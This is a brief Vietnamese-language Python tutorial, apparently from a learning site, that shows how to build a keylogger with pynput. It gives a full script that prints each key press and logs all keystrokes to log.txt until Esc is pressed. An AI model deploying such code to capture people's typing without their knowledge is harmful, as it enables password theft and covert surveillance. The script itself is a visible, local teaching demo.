Điều kiện tiên quyết: Ngôn ngữ lập trình Python căn bản
Module pynput.keyboard chứa các lớp để điều khiển và giám sát bàn phím. pynput là thư viện Python có thể được sử dụng để bắt các sự kiện của bàn phím nên ta hoàn toàn có thể sử dụng để tạo keylogger cho riêng mình.
Module cần thiết
pynput: Để cài đặt pynput, hãy nhập lệnh dưới đây vào command prompt.
pip install pynput
Dưới đây là cách thực hiện:
# keylogger sử dụng module pynput
import pynput
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
keys.append(key)
write_file(keys)
try:
print('phím chữ cái {0} được nhấn'.format(key.char))
except AttributeError:
print('phím đặc biệt {0} được nhấn'.format(key))
def write_file(keys):
with open('log.txt', 'w') as f:
for key in keys:
# xóa các dấu nháy
k = str(key).replace("'", "")
f.write(k)
# thêm vào khoảng trắng để dễ đọc
f.write(' ')
def on_release(key):
print('{0} được thả'.format(key))
if key == Key.esc:
return False
with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()
Output

Chú ý !!! Hãy tăng cường nền tảng của bạn với Khóa học nền tảng lập trình Python và học thêm các kiến thức cơ bản.